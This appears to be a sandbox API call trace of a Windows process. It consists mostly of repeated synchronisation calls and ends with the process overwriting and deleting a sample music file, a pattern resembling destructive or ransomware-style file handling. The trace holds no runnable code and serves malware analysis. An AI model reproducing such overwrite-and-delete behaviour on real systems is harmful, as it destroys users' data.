	[0079.887] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.901] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.912] SetEvent (hEvent=0x6c) returned 1
	[0079.912] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.912] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.916] SetEvent (hEvent=0x6c) returned 1
	[0079.916] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.917] SetEvent (hEvent=0x78) returned 1
	[0079.917] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.947] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.967] SetEvent (hEvent=0x6c) returned 1
	[0079.967] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.972] SetEvent (hEvent=0x6c) returned 1
	[0079.972] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.972] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.975] SetEvent (hEvent=0x6c) returned 1
	[0079.975] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.976] SetEvent (hEvent=0xb4) returned 1
	[0079.976] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.012] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.012] SetEvent (hEvent=0xb4) returned 1
	[0080.012] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.657] SetEvent (hEvent=0x8c) returned 1
	[0080.658] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.658] SetEvent (hEvent=0x8c) returned 1
	[0080.658] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.681] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.684] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.706] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.729] SetEvent (hEvent=0x6c) returned 1
	[0080.729] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.729] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.753] SetEvent (hEvent=0x6c) returned 1
	[0080.753] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.755] SetEvent (hEvent=0x6c) returned 1
	[0080.755] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.756] SetEvent (hEvent=0x6c) returned 1
	[0080.756] SwitchToThread () returned 1
	[0080.756] SetEvent (hEvent=0x6c) returned 1
	[0080.756] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.756] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.783] SetEvent (hEvent=0x6c) returned 1
	[0080.783] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.784] SetEvent (hEvent=0x8c) returned 1
	[0080.784] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.807] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.810] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.832] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.839] SetEvent (hEvent=0x6c) returned 1
	[0080.839] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.839] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.864] SetEvent (hEvent=0x6c) returned 1
	[0080.864] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.866] SetEvent (hEvent=0x6c) returned 1
	[0080.866] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.866] SetEvent (hEvent=0x6c) returned 1
	[0080.866] SwitchToThread () returned 1
	[0080.866] SetEvent (hEvent=0x6c) returned 1
	[0080.867] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.867] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] SetEvent (hEvent=0x6c) returned 1
	[0080.909] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.910] SetEvent (hEvent=0x8c) returned 1
	[0080.910] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.933] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.936] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.956] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] SetEvent (hEvent=0x6c) returned 1
	[0080.963] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.988] SetEvent (hEvent=0x6c) returned 1
	[0080.988] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.989] SetEvent (hEvent=0x6c) returned 1
	[0080.989] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.990] SetEvent (hEvent=0x6c) returned 1
	[0080.990] SwitchToThread () returned 1
	[0080.990] SetEvent (hEvent=0x6c) returned 1
	[0080.990] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0080.990] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.025] SetEvent (hEvent=0x6c) returned 1
	[0081.025] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.026] SetEvent (hEvent=0x8c) returned 1
	[0081.026] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.049] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.052] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.072] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.080] SetEvent (hEvent=0x6c) returned 1
	[0081.080] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.080] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.106] SetEvent (hEvent=0x6c) returned 1
	[0081.106] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.108] SetEvent (hEvent=0x6c) returned 1
	[0081.108] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.109] SetEvent (hEvent=0x6c) returned 1
	[0081.109] SwitchToThread () returned 1
	[0081.109] SetEvent (hEvent=0x6c) returned 1
	[0081.109] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.109] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.160] SetEvent (hEvent=0x6c) returned 1
	[0081.160] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.161] SetEvent (hEvent=0x8c) returned 1
	[0081.161] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.187] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.190] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.208] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.218] SetEvent (hEvent=0x6c) returned 1
	[0081.218] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.219] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.244] SetEvent (hEvent=0x6c) returned 1
	[0081.244] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.246] SetEvent (hEvent=0x6c) returned 1
	[0081.246] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.246] SetEvent (hEvent=0x6c) returned 1
	[0081.246] SwitchToThread () returned 1
	[0081.247] SetEvent (hEvent=0x6c) returned 1
	[0081.247] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.247] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.281] SetEvent (hEvent=0x6c) returned 1
	[0081.281] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.282] SetEvent (hEvent=0x8c) returned 1
	[0081.282] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.304] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.307] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.330] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.355] SetEvent (hEvent=0x6c) returned 1
	[0081.355] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.355] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.383] SetEvent (hEvent=0x6c) returned 1
	[0081.383] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.385] SetEvent (hEvent=0x6c) returned 1
	[0081.385] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.385] SetEvent (hEvent=0x6c) returned 1
	[0081.385] SwitchToThread () returned 1
	[0081.385] SetEvent (hEvent=0x6c) returned 1
	[0081.385] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.386] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.415] SetEvent (hEvent=0x6c) returned 1
	[0081.415] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.416] SetEvent (hEvent=0x8c) returned 1
	[0081.416] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.439] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.442] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.464] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.472] SetEvent (hEvent=0x6c) returned 1
	[0081.472] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.473] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.497] SetEvent (hEvent=0x6c) returned 1
	[0081.497] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.499] SetEvent (hEvent=0x6c) returned 1
	[0081.499] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.499] SetEvent (hEvent=0x6c) returned 1
	[0081.499] SwitchToThread () returned 1
	[0081.500] SetEvent (hEvent=0x6c) returned 1
	[0081.500] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.500] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.533] SetEvent (hEvent=0x6c) returned 1
	[0081.533] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.534] SetEvent (hEvent=0x8c) returned 1
	[0081.534] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.557] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.561] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.562] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.600] SetEvent (hEvent=0x6c) returned 1
	[0081.600] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.600] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.628] SetEvent (hEvent=0x6c) returned 1
	[0081.628] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.629] SetEvent (hEvent=0x6c) returned 1
	[0081.629] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.630] SetEvent (hEvent=0x6c) returned 1
	[0081.630] SwitchToThread () returned 1
	[0081.630] SetEvent (hEvent=0x6c) returned 1
	[0081.630] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.630] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.661] SetEvent (hEvent=0x6c) returned 1
	[0081.661] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.662] SetEvent (hEvent=0x8c) returned 1
	[0081.662] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.686] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.689] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.712] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.720] SetEvent (hEvent=0x6c) returned 1
	[0081.720] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.720] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.745] SetEvent (hEvent=0x6c) returned 1
	[0081.745] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.747] SetEvent (hEvent=0x6c) returned 1
	[0081.747] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.747] SetEvent (hEvent=0x6c) returned 1
	[0081.748] SwitchToThread () returned 1
	[0081.748] SetEvent (hEvent=0x6c) returned 1
	[0081.748] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.748] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.777] SetEvent (hEvent=0x6c) returned 1
	[0081.777] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.778] SetEvent (hEvent=0x8c) returned 1
	[0081.778] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.800] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.803] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.823] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.830] SetEvent (hEvent=0x6c) returned 1
	[0081.830] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.830] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.855] SetEvent (hEvent=0x6c) returned 1
	[0081.855] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.856] SetEvent (hEvent=0x6c) returned 1
	[0081.856] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.857] SetEvent (hEvent=0x6c) returned 1
	[0081.857] SwitchToThread () returned 1
	[0081.857] SetEvent (hEvent=0x6c) returned 1
	[0081.857] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.857] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.892] SetEvent (hEvent=0x6c) returned 1
	[0081.892] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.892] SetEvent (hEvent=0x8c) returned 1
	[0081.892] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.916] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.919] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.942] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.948] SetEvent (hEvent=0x6c) returned 1
	[0081.948] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.949] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.973] SetEvent (hEvent=0x6c) returned 1
	[0081.973] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.975] SetEvent (hEvent=0x6c) returned 1
	[0081.975] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.975] SetEvent (hEvent=0x6c) returned 1
	[0081.975] SwitchToThread () returned 1
	[0081.975] SetEvent (hEvent=0x6c) returned 1
	[0081.976] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0081.976] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.008] SetEvent (hEvent=0x6c) returned 1
	[0082.008] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.009] SetEvent (hEvent=0x8c) returned 1
	[0082.009] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.032] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.035] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.057] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.064] SetEvent (hEvent=0x6c) returned 1
	[0082.065] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.065] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.090] SetEvent (hEvent=0x6c) returned 1
	[0082.090] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.091] SetEvent (hEvent=0x6c) returned 1
	[0082.091] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.092] SetEvent (hEvent=0x6c) returned 1
	[0082.092] SwitchToThread () returned 1
	[0082.092] SetEvent (hEvent=0x6c) returned 1
	[0082.092] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.092] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.120] SetEvent (hEvent=0x6c) returned 1
	[0082.120] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.121] SetEvent (hEvent=0x8c) returned 1
	[0082.121] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.146] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.149] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.184] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.192] SetEvent (hEvent=0x6c) returned 1
	[0082.192] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.192] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.217] SetEvent (hEvent=0x6c) returned 1
	[0082.217] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.219] SetEvent (hEvent=0x6c) returned 1
	[0082.219] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.219] SetEvent (hEvent=0x6c) returned 1
	[0082.219] SwitchToThread () returned 1
	[0082.220] SetEvent (hEvent=0x6c) returned 1
	[0082.220] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.220] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.247] SetEvent (hEvent=0x6c) returned 1
	[0082.247] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.248] SetEvent (hEvent=0x8c) returned 1
	[0082.248] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.271] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.274] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.301] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.494] SetEvent (hEvent=0x8c) returned 1
	[0082.495] SetEvent (hEvent=0x78) returned 1
	[0082.495] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0082.499] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.499] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0082.499] SetEvent (hEvent=0x8c) returned 1
	[0082.499] SetEvent (hEvent=0x78) returned 1
	[0082.499] SetEvent (hEvent=0xb4) returned 1
	[0082.499] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.500] SetEvent (hEvent=0xa8) returned 1
	[0082.500] SetEvent (hEvent=0xb4) returned 1
	[0082.500] SetEvent (hEvent=0x6c) returned 1
	[0082.500] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.505] SetEvent (hEvent=0x6c) returned 1
	[0082.505] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.507] SetEvent (hEvent=0x6c) returned 1
	[0082.507] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.507] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.526] SetEvent (hEvent=0x6c) returned 1
	[0082.526] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.527] SetEvent (hEvent=0xb4) returned 1
	[0082.527] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.929] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.930] SetEvent (hEvent=0xb4) returned 1
	[0082.930] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0082.930] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.177] SetEvent (hEvent=0xb4) returned 1
	[0083.177] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.218] SetEvent (hEvent=0xb4) returned 1
	[0083.218] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.221] SetEvent (hEvent=0xb4) returned 1
	[0083.221] SwitchToThread () returned 1
	[0083.221] SetEvent (hEvent=0xb4) returned 1
	[0083.221] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.221] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.352] SetEvent (hEvent=0x78) returned 1
	[0083.352] SetEvent (hEvent=0x6c) returned 1
	[0083.353] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.367] SetEvent (hEvent=0x78) returned 1
	[0083.367] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.464] SetEvent (hEvent=0xb4) returned 1
	[0083.464] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.485] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.504] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.527] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.573] SetEvent (hEvent=0xb4) returned 1
	[0083.573] SetEvent (hEvent=0x6c) returned 1
	[0083.573] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0083.670] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.670] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0083.671] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.671] SetEvent (hEvent=0xb4) returned 1
	[0083.671] SetEvent (hEvent=0x78) returned 1
	[0083.671] SetEvent (hEvent=0x6c) returned 1
	[0083.671] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.672] SetEvent (hEvent=0xa8) returned 1
	[0083.672] SetEvent (hEvent=0x6c) returned 1
	[0083.676] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x49e459, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x49e459, lpOverlapped=0x0) returned 1
	[0083.834] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0083.834] CloseHandle (hObject=0xc4) returned 1
	[0083.834] CloseHandle (hObject=0xc0) returned 1
	[0083.834] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x36) returned 1
	[0083.841] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 1
	[0083.851] SetEvent (hEvent=0x78) returned 1
	[0083.852] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0083.877] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.877] SetEvent (hEvent=0x78) returned 1
	[0083.877] SetEvent (hEvent=0x6c) returned 1
	[0083.877] SetEvent (hEvent=0xb4) returned 1
	[0083.877] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.878] SetEvent (hEvent=0xa8) returned 1
	[0083.878] SetEvent (hEvent=0xb4) returned 1
	[0083.894] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0083.894] SetEvent (hEvent=0xb4) returned 1
	[0083.896] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0083.896] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0083.896] SetEvent (hEvent=0xb4) returned 1
	[0083.896] SetEvent (hEvent=0x6c) returned 1
	[0083.896] SetEvent (hEvent=0x78) returned 1
	[0083.896] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.896] SetEvent (hEvent=0x78) returned 1
	[0083.897] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.897] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0083.898] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0083.915] CloseHandle (hObject=0xc0) returned 1
	[0083.915] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3")) returned 1
